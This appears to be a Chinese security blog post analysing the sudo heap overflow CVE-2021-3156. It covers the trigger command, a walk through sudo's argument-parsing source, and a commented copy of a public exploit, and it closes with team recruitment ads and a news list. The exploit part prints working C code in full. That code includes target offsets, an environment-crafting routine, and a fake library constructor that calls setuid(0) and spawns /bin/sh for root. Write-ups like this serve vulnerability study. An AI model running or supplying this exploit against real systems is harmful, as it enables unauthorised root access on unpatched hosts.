CVE-2021-3156 Linux sudo提权分析
$ 前言:
这是本人入门Linux内核的第二个星期,上一篇dirty-pipe分析已经在先知社区投稿了。本着积累多点bypass手段的想法,开始了这个sudo堆溢出学习。
$ EXP:
https://github.com/blasty/CVE-2021-3156
$ 环境搭建
ubuntu 18.04 sudo-1.8.25(环境搭建) sudo-1.8.21(静态分析用)
流程:
进入root
sudo su
搭建pwndbg 编译sudo
make
make install
这样编译出来的sudo是存在symbol
的
$ 漏洞描述
$ 受影响的版本:
sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1
$ 检测sudo缺陷存在:
如果响应一个以sudoedit:
开头的报错,那么表明存在漏洞。
$ 漏洞复现:
$ 漏洞原理分析:
触发堆溢出:
sudoedit -s '\' 1111111111111111
调用链:(不同版本源码的行数不同)
sudo.c:134 ==> main
sudo.c:247 ==> policy_check
sudo.c:1149 ==> sudoers_policy_check
policy.c:775 ==> sudoers_policy_main
sudoers.c:293 ==> set_cmnd
sudoers.c:853 ==> 溢出位置
参数:注意几个参数:
mode flags
mode
NewArgv = sudoedit \\ 1111111111111111
分析parse_args.c
:
parse_args
是sudo
用于处理传入参数的函数。
1. 静态分析
配置了mode = MODE_EDIT == 0x2
配置flags = MODE_SHELL == 0x20000
由于mode == MODE_EDIT
所以跳转到 577行
配置:
*argv[0] == 's' 后续为:udoedit
*argv[1] == '\\'
*argv[2] == '1' 后续为:111111111111111
2. 动态调试分析
131072 == 0x20000 == MODE_SHELL
如图可以证实静态分析上对argv的修改。
分析sudo.c
:
1.静态分析:
sudo_mode
执行完parse_args
被设置为:0x20002
根据转换触发到case MODE_EDIT
然后在MODE_RUN
内部执行policy_check
2.动态分析:
131074 == 0x20002
分析sudoers_policy_check
:
1.静态分析:
此时argc == 3
然后调用sudoers_policy_main
分析sudoers_policy_main
:
静态分析:
在270行配置 (int) NewArgc == 3
在271行固定了 \\
后的长度最多为2个指针 == 16 字节
在276行将 *NewArgv == 'sudoedit' '\\' '111...' 'NULL'
sudoers_policy_main
将在293行调用到set_cmnd
动态分析:
分析set_cmnd
:
静态分析:
由于之前没有给user_cmnd
赋值,所以在812行将NewArgv
指向sudoedit
的指针赋值到user_cmnd
这里没搞懂是怎么ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)
判断正确的
在849行中将申请的内存空间大小为
0x13 == '\\1111111111111111 '
在853行中会判断正确后进入到溢出点第863行 在861行即为存在溢出的点,由于isspace()
识别的是'\20'
,所以'\0'
被bypass了,进而达成溢出条件。
注意:传入2个参数后最多能溢出16字节。user_args
堆空间地址只要看在859行下断点看to
指定地址就能获取到。
溢出情景模拟:
当前内存:
'\\' + '\0' + '1111111111111111'
当前NewArgv + 1 == '\\' + '\0'
,那么执行到if
判断时,就会from++
进而将*from
指向了'1111111111111111'
,继而调用了*to++ = *from++
将'1111111111111111'
复制到了user_args
堆空间。而这已经将user_args
堆空间占满了,但是在for
循环上却仍然可以继续将'1111111111111111'
复制到user_args
堆空间后面的空间,在调用下一次for
循环是NewArgv + 1 == '1111111111111111'
,而在while
上from[0] != '\\'
进而导致直接调用*to++ = *from++
将'1111111111111111'
复制到溢出空间,进而造成堆溢出。
正常的user_args
堆空间:
发生溢出后的user_args
堆空间:
$ 利用分析
下面是EXP解析:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
// 512 environment variables should be enough for everyone
#define MAX_ENVP 512
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
typedef struct {
char *target_name;
char *sudoedit_path;
uint32_t smash_len_a;
uint32_t smash_len_b;
uint32_t null_stomp_len;
uint32_t lc_all_len;
} target_t;
target_t targets[] = {
{
// Yes, same values as 20.04.1, but also confirmed.
.target_name = "Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 56,
.smash_len_b = 54,
.null_stomp_len = 63,
.lc_all_len = 212
},
{
.target_name = "Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28",
.sudoedit_path = SUDOEDIT_PATH,
.smash_len_a = 64,
.smash_len_b = 49,
.null_stomp_len = 60,
.lc_all_len = 214
}
};
void usage(char *prog) {
fprintf(stdout,
" usage: %s <target>\n\n"
" available targets:\n"
" ------------------------------------------------------------\n",
prog
);
for(int i = 0; i < sizeof(targets) / sizeof(target_t); i++) {
printf(" %d) %s\n", i, targets[i].target_name);
}
fprintf(stdout,
" ------------------------------------------------------------\n"
"\n"
" manual mode:\n"
" %s <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>\n"
"\n",
prog
);
}
int main(int argc, char *argv[]) {
printf("\n** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n\n");
if (argc != 2 && argc != 5) {
usage(argv[0]);
return -1;
}
target_t *target = NULL;
if (argc == 2) {
int target_idx = atoi(argv[1]);
if (target_idx < 0 || target_idx >= (sizeof(targets) / sizeof(target_t))) {
fprintf(stderr, "invalid target index\n");
return -1;
}
target = &targets[ target_idx ];
} else {
target = malloc(sizeof(target_t));
target->target_name = "Manual";
target->sudoedit_path = SUDOEDIT_PATH; // "/usr/bin/sudoedit"
target->smash_len_a = atoi(argv[1]);
target->smash_len_b = atoi(argv[2]);
target->null_stomp_len = atoi(argv[3]);
target->lc_all_len = atoi(argv[4]);
}
printf(
"using target: %s ['%s'] (%d, %d, %d, %d)\n",
target->target_name,
target->sudoedit_path,
target->smash_len_a,
target->smash_len_b,
target->null_stomp_len,
target->lc_all_len
);
char *smash_a = calloc(target->smash_len_a + 2, 1); //这里填充多2个字节
char *smash_b = calloc(target->smash_len_b + 2, 1); //这里填充多2个字节
memset(smash_a, 'A', target->smash_len_a); //填充A
memset(smash_b, 'B', target->smash_len_b); //填充B
smash_a[target->smash_len_a] = '\\';
smash_b[target->smash_len_b] = '\\';
char *s_argv[]={
"sudoedit", "-s", smash_a, "\\", smash_b, NULL
};
/** 56 * A + '\\' + '\0' + '\0' + '\\' + '\0' + 54 * B + '\\' + '\0'
** 生成113个字节空间
**/
char *s_envp[MAX_ENVP];
int envp_pos = 0;
for(int i = 0; i < target->null_stomp_len; i++) {
s_envp[envp_pos++] = "\\"; //写入63个\\
}
s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
char *lc_all = calloc(target->lc_all_len + 16, 1); //212
strcpy(lc_all, "LC_ALL=C.UTF-8@");
memset(lc_all+15, 'C', target->lc_all_len);
s_envp[envp_pos++] = lc_all;
s_envp[envp_pos++] = NULL;
printf("** pray for your rootshell.. **\n");
execve(target->sudoedit_path, s_argv, s_envp); //触发提权
return 0;
}//*s_envp == 63个\\+"X/P0P_SH3LLZ_"+lc_all指针+NULL
//*lc_all == "LC_ALL=C.UTF-8@" + 197个"C"
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
大概EXP调用流程:
利用setlocale
将我们exp
中calloc
的LC_ALL
堆块free
掉,然后在程序执行时调用get_user_info
申请0x80
堆块时会将user_args
堆块申请在相邻ni->name = compat
的service_user
相邻位置。然后user_args
堆块与ni->name = compat
的service_user
堆块位置就相对固定,进而达成100%溢出的条件来将原始service_table
链表中的compat
块中的ni ->name
给覆盖掉,进而执行__libc_dlopen
时调用到我们伪造的libc,然后调用libc中的初始化函数init来高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);
和execv("/bin/sh", a_argv);
来提权root。关于实现细节就不方便讲解了。下面是溢出执行我们的libc的参数详情:
$ 分析细节:
CVE-2021-3156调试分析 CVE-2021-3156 sudo堆溢出分析与利用 cve-2021-3156分析 Sudo Exploit Writeup Heap-based buffer overflow in Sudo (CVE-2021-3156) util-linux mount/unmount ASLR bypass via environment variable CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7978547
- 2 山里藏价值6000亿元黄金?村民发声 7907144
- 3 微信或史诗级“瘦身” 内存有救了 7873723
- 4 中国主张成为G20峰会的一抹亮色 7729780
- 5 朝鲜将军队提升至战斗准备状态 7685211
- 6 男生解锁“滑步下泰山”技能 7597568
- 7 带96岁母亲酒店养老遭拉黑 男子发声 7469415
- 8 女教师被指出轨学生 校方通报 7365295
- 9 《小巷人家》全员告别 7272089
- 10 千年古镇“因网而变、因数而兴” 7162813